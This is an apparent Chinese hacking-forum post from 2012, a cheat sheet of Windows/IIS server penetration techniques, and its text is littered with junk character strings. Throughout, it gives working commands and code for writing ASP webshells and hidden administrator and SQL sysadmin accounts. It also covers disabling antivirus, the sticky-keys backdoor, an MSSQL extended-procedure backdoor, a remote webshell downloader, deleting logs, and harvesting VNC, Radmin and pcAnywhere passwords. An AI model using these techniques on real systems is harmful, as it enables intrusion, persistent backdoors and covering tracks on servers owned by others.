标题: 渗透技巧总结 [打印本页] 作者: admin 时间: 2012-9-5 15:00 标题: 渗透技巧总结 旁站路径问题# E6 F% |$ l8 U S- S2 i
1、读网站配置。 # \; {; J4 A0 s9 E" _( u2、用以下VBS( ?# ?$ t4 Z2 ?3 P; N( u/ H$ |
On Error Resume Next 8 Z+ l6 l5 n3 \1 {2 u- KIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then 4 y& \$ j% f! T , Q( W5 @; u# f9 A ! G, i) L1 F e& U5 iMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " $ x3 h: p) j5 a* C. a- t1 H0 a T2 `5 O( I
Usage:Cscript vWeb.vbs",4096,"Lilo" 6 k/ B4 i+ {& F& Z WScript.Quit 6 F3 a$ \7 |7 h" h& |* \- SEnd If 0 ?- v1 U/ |$ G* X" ^# H$ NSet ObjService=GetObject6 ^, b y7 d* C* p4 j: h! m% }7 U
$ R" `. \' |' ] E
("IIS://LocalHost/W3SVC") ; u& u7 ~; ^- N2 e9 {For Each obj3w In objservice # s5 K/ T2 j# j9 J6 e If IsNumeric(obj3w.Name) ( R( D4 x# [, y A; r8 z; R& u
" e( ]7 p+ j* L* A
Then3 V, X% m1 k: K6 z- }& q
Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)( C4 m2 Y/ D5 f# h2 @
: W" I' {$ h x& y1 Z* I. K 7 c) G) U0 @1 {( _9 ~' e) G; e Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT") $ S7 i h# j* @; g+ ? If Err . _$ c( g4 O: I* F. `4 E9 B
$ I# ~+ z: G j9 o& a% D, t* y<> 0 Then WScript.Quit (1) - J' _3 o3 J, z& l2 N/ x WScript.Echo Chr(10) & "[" & ! c" k' ^3 }2 X) R2 `' }2 ? 7 x( a% a3 x# ]4 }5 q8 {OService.ServerComment & "]"+ a0 z0 d( j: s2 \8 N
For Each Binds In OService.ServerBindings $ |' [" X0 Q' E- X" O1 a D ; Y2 W9 F: i1 B
) x2 q& q3 Y9 N& s4 S' @4 a. L
Web = "{ " & Replace(Binds,":"," } { ") & " }"( E/ W, ~5 T2 N
0 _1 z6 v/ n0 j; h* ^
; I; P" t% H" G; b. u
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")+ m" x. t1 {7 e, b
Next, a" [. g9 u B* M
) I/ D9 W* g3 |3 Z7 P5 E/ p$ n
2 g3 v( d! D! V+ F2 `6 Q WScript.Echo "ath : " & VDirObj.Path ! O" o: E5 `7 p7 T) n End If* P8 _4 n$ z% Y! g
Next 6 [; x1 [9 a$ {# a复制代码4 G* V$ o2 M* I; O% v( ~
3、iis_spy列举(注:需要支持ASPX,反IISSPY的方法:将activeds.dll,activeds.tlb降权) - S% {' ?9 y `1 ^( l+ {4、得到目标站目录,不能直接跨的。通过echo ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp 像目标目录写入webshell。或者还可以试试type命令. - \& v3 \0 _- b) p$ v+ q; ?% t: v+ s) h—————————————————————& M9 L1 N* l0 M
WordPress的平台,爆绝对路径的方法是:2 ` M- E7 ]1 E2 I( d* k7 d
url/wp-content/plugins/akismet/akismet.php 1 X8 I& E2 ?' a W+ y6 Ourl/wp-content/plugins/akismet/hello.php& ^" L! U& t: ^6 |, m- H: F6 P
—————————————————————— - A8 X/ }. B% p7 z$ U; F' W# AphpMyAdmin暴路径办法: W; k9 ^' F: T& Z
phpMyAdmin/libraries/select_lang.lib.php ; J/ {. `5 _' g# }! HphpMyAdmin/darkblue_orange/layout.inc.php5 E4 Z: x! z# o
phpMyAdmin/index.php?lang[]=11 V" \! ?7 Z7 u& f/ Q, Q
phpmyadmin/themes/darkblue_orange/layout.inc.php3 G: S, }$ @3 N4 l
———————————————————— ) l2 [* c0 R7 A" r网站可能目录(注:一般是虚拟主机类) 7 N. G; g+ n% j1 m4 Z! Q( H8 E" ndata/htdocs.网站/网站/ 2 V( b% W& }9 g1 z————————————————————0 E) l6 R5 h# L/ r2 Z# i( J
CMD下操作VPN相关7 }( `& s: F- x
netsh ras set user administrator permit #允许administrator拨入该VPN* }; P; g; e) V. e V& v: X
netsh ras set user administrator deny #禁止administrator拨入该VPN : y$ L+ O/ H* u. M7 _netsh ras show user #查看哪些用户可以拨入VPN 2 @6 w9 R* S$ X6 M6 unetsh ras ip show config #查看VPN分配IP的方式/ _' {( H+ u A9 K- ^2 b8 r
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP, p% ~; W' V8 Z, u7 I: _
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254 % `8 N0 ~- P# U; H: }" j————————————————————5 Y& y# C$ {- F" K
命令行下添加SQL用户的方法0 {3 \7 u' M# d* R" n7 w0 |4 j
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:5 _8 l0 \8 T9 V \, j1 z8 z$ O s( Y* f
exec master.dbo.sp_addlogin test,123' O: y! |! U! E. \ z& |% p5 n
EXEC sp_addsrvrolemember 'test, 'sysadmin'0 E0 |7 X P) ]% r
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry 8 q( B+ Q1 \. M+ e6 g% ]: @" T+ C+ w6 ^
另类的加用户方法 7 j: y* g" q5 B3 P5 F1 a( R ~在删掉了net.exe和不用adsi之外,新的加用户的方法。代码如下:, S) I9 C1 U2 s; Z$ j
js: - I9 _6 [* Z- }8 x: ^# h6 V& Z3 F! Kvar o=new ActiveXObject( "Shell.Users" ); t. G, \. r5 t$ |: N! O9 t
z=o.create("test") ; % i7 b8 t) @5 e, D+ vz.changePassword("123456","") 6 G6 u2 T% e0 j- fz.setting("AccountType")=3; ' y3 ]+ z- O+ Q. a; W5 S X 6 D! O# G1 k3 v8 [vbs:, o9 ]" k; p" f" N; H
Set o=CreateObject( "Shell.Users" )+ X3 i! o" r% p
Set z=o.create("test") + H, A* c7 {3 c% Q" }, G% k# |z.changePassword "123456","" s1 X$ R/ [: N/ F' O! P* O
z.setting("AccountType")=3! U) y" i$ I7 z6 R- X5 \
—————————————————— . M b# S7 m2 [/ v4 x. R( ~cmd访问控制权限控制(注:反everyone不可读,工具-文件夹选项-使用简单的共享去掉即可) : e% c+ B& ?- a& E2 C0 D# X" }( H' O* X) h9 E& K$ T
命令如下 + ]& e/ s! y* P: u' Rcacls c: /e /t /g everyone:F #c盘everyone权限 ' X/ T; B3 s) D% {9 Ucacls "目录" /d everyone #everyone不可读,包括admin! _$ z8 F) D: ~- X
————————以下配合PR更好————. x" B; w4 u& w \( a6 `
3389相关 W6 i4 J, P* la、防火墙TCP/IP筛选.(关闭net stop policyagent & net stop sharedaccess) D& A' `) O1 u4 M+ |1 g( C
b、内网环境(LCX) 7 l% f2 M4 J+ I- ?. gc、终端服务器超出了最大允许连接 " F" R2 h! Y4 {6 dXP 运行mstsc /admin9 T l% d7 T8 x
2003 运行mstsc /console # s$ F( _5 [2 C8 M8 I) P" I + B' }/ W( o% q! ]- J* |杀软关闭(把杀软所在的文件的所有权限去掉) 4 s6 }% Y; h9 C处理变态诺顿企业版:% c2 r' d: F5 o; }' c: f7 H$ I: _
net stop "Symantec AntiVirus" /y : y% _( |! G5 u( fnet stop "Symantec AntiVirus Definition Watcher" /y% Q5 M5 H# W1 c q) X# t. |) e( B
net stop "Symantec Event Manager" /y7 E O, H' [5 ~8 e
net stop "System Event Notification" /y + G# X8 R( f3 u0 Enet stop "Symantec Settings Manager" /y' v, {9 o5 o7 g% Z8 D
0 c. p# r6 S2 `/ U
卖咖啡:net stop "McAfee McShield" : Y4 b" [7 j% v- \( @+ f
———————————————————— 4 J: A# W- ?; T+ y " u$ g6 G" f$ a2 ^5 }1 r+ Y5次SHIFT: 7 o/ a( P- k: \* mcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe. U& b* Q1 U B: {. i( L
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y9 s: `( e: K* x% T+ }2 j4 w) e1 i7 r
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y 6 C0 |2 H% J2 u4 g# J—————————————————————— + z- s# U* [- [/ ~% X隐藏账号添加:+ c1 P Q, [) Y% S& |# Q
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add# Z+ G3 R' ?. D) G* D
2、导出注册表SAM下用户的两个键值/ j5 y: R& ~2 J$ G# H/ i
3、在用户管理界面里的admin$删除,然后把备份的注册表导回去。 & u! x, f4 S o! z/ I1 L4、利用Hacker Defender把相关用户注册表隐藏# z' a! U+ Q, i x) E
——————————————————————) I# @& [2 y" i0 ]/ i' \
MSSQL扩展后门:( z: z" h; j. O& I3 O+ I7 n
USE master; / B2 f" @: O) h3 _EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';+ D8 I) G* s1 y8 B# Q
GRANT exec On xp_helpsystem TO public;3 t2 G0 ^; g1 u# d/ d2 a) O4 J
——————————————————————— & W- ?! v2 S4 ]3 o" g1 u- J日志处理 , ~4 q: E3 k/ H9 ^0 O- MC:\WINNT\system32\LogFiles\MSFTPSVC1>下有 : ]$ c) G" l4 `" k" f- qex011120.log / ex011121.log / ex011124.log三个文件, 1 t# u+ P" v4 I直接删除 ex0111124.log# U' h3 z A: S5 z- g
不成功,“原文件...正在使用” ( d/ t" L. a$ v: z6 q# C3 n( s当然可以直接删除ex011120.log / ex011121.log " o S6 W, Y( \用记事本打开ex0111124.log,删除里面的一些内容后,保存,覆盖退出,成功。4 |% E4 a' J1 x! c8 c, F
当停止msftpsvc服务后可直接删除ex011124.log j6 ~; W+ w$ _* P
$ ]: _/ a, L: h+ w! F& [: kMSSQL查询分析器连接记录清除: % J5 P K& c+ ~% gMSSQL 2000位于注册表如下:1 j5 C) {" X0 J# h$ H- ^0 T* C
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers5 W, u {/ G8 t6 _* t! r
找到接接过的信息删除。8 D& m4 f5 j+ f* a& `# j
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL 3 K0 q6 m* W" q1 M5 Z* d/ n @: L, @. O- Z& k- [
Server\90\Tools\Shell\mru.dat* t8 g1 k& _% Q$ ^- A$ P
—————————————————————————) O+ V2 n+ {* _5 }: J
防BT系统拦截可使用远程下载shell,也达到了隐藏自身的效果,也可以做为超隐蔽的后门,神马的免杀webshell,用服务器安全工具一扫通通挂掉了)/ v2 Y# f; J/ ~& V9 K. V
: z1 ]8 h3 {' Y6 H9 M# M* ]<% 6 Y/ a/ o; T; i" ]! z% {4 w5 |# pSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl) & `' X+ u$ q' j8 s: CDim Ads, Retrieval, GetRemoteData! p' q' b, l' f& f% k+ Z- @
On Error Resume Next : E* w' b& r/ z* w2 TSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP") / G8 q. y4 U5 |# b3 \With Retrieval2 K6 v- O% c# t L8 [+ w
.Open "Get", s_RemoteFileUrl, False, "", ""' z% W1 m. D/ D: G
.Send; o: I( m }- v# K2 q5 m
GetRemoteData = .ResponseBody ' o+ \; s8 v0 B8 N# y$ ^End With ) @, |$ ]4 M2 Y7 rSet Retrieval = Nothing$ f) `# n! X0 g6 A
Set Ads = Server.CreateObject("Adodb.Stream") 6 x) W1 L0 R G4 E8 H; e; QWith Ads * y- q0 V9 [* |.Type = 1' C3 s- B4 b4 z6 m
.Open $ {+ c6 ^4 k- d. B# F [.Write GetRemoteData/ p2 `7 g" D; y2 w n9 w' F9 K
.SaveToFile Server.MapPath(s_LocalFileName), 2 " F8 W3 {8 H% P, a% ^: ?' s.Cancel() 1 X" F2 e! T, ~* I.Close() , w( |1 z9 ]# i* l) u: S2 uEnd With R# a3 B8 _) T" |! f6 {! ]3 K
Set Ads=nothing2 E6 `# i7 @5 }3 L# G, O0 s
End Sub 3 P+ y, }, x7 U! P2 U. L* i- Y u- @* Y
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"9 E) H" B1 R. `
%> - H. m. G" T. T U 6 e5 p; y3 k* L% DVNC提权方法:. l; ?* v' A4 H: k4 V
利用shell读取vnc保存在注册表中的密文,使用工具VNC4X破解 5 k" W8 X9 r! I N# i- c, \5 p, O2 \注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password# T& Z' o- g- p7 [+ D. [& x) p
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL" . s: C" Z5 [% p# ?- T8 K, tregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4" + }8 N3 G/ j/ F* \9 iRadmin 默认端口是4899,: _( O) j* t, x% y) n7 d8 `, v
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置 * Y1 [$ R9 P j, W5 dHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置' O |' O4 f# {
然后用HASH版连接。4 C, z5 q4 c; {2 `' e$ r
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问,我们可以下载这个CIF文件到本地破解,再通过PCANYWHERE从本机登陆服务器。0 X5 ?; y) ~# I! r7 C
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下,那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All 4 {- v5 l0 G. C" z- a% ?' J& d
Users\Application Data\Symantec\pcAnywhere\文件夹下。; d; d2 R! ]- \+ w" W6 j: z+ s& l
—————————————————————— ( O! n6 _1 ]6 W. s% y6 Y0 z7 @搜狗输入法的PinyinUp.exe是可读可写的直接替换即可 . o3 c: u. H' D' S——————————————————----------+ P# [* J8 R7 x) `7 {9 E4 ?
WinWebMail目录下的web必须设置everyone权限可读可写,在开始程序里,找到WinWebMail快捷方式下下$ ?* M3 T, _: [
来,看路径,访问 路径\web传shell,访问shell后,权限是system,放远控进启动项,等待下次重启。) h, u8 z1 K2 ]# V4 W' s2 ^
没有删cmd组建的直接加用户。 . [! O6 q/ | @ S9 w/ j) ]7i24的web目录也是可写,权限为administrator。 & r' o; \- U) [ $ {* Q8 K$ e1 A# a1433 SA点构建注入点。% z1 f, Q' r% e' R2 V* @
<%, Q3 n* W2 u. H a5 m7 [
strSQLServerName = "服务器ip", ]- T; k* ^: ^! E' u6 V
strSQLDBUserName = "数据库帐号" , h) V$ l/ @( Z+ n }) k# KstrSQLDBPassword = "数据库密码"" b$ [3 n' q E. q: {8 A
strSQLDBName = "数据库名称" 9 {% E# S7 m5 ~* ?8 ]6 C0 XSet conn = Server.createObject("ADODB.Connection")6 I! ?% R8 d1 w
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ; D1 j, t2 k3 `$ i3 ]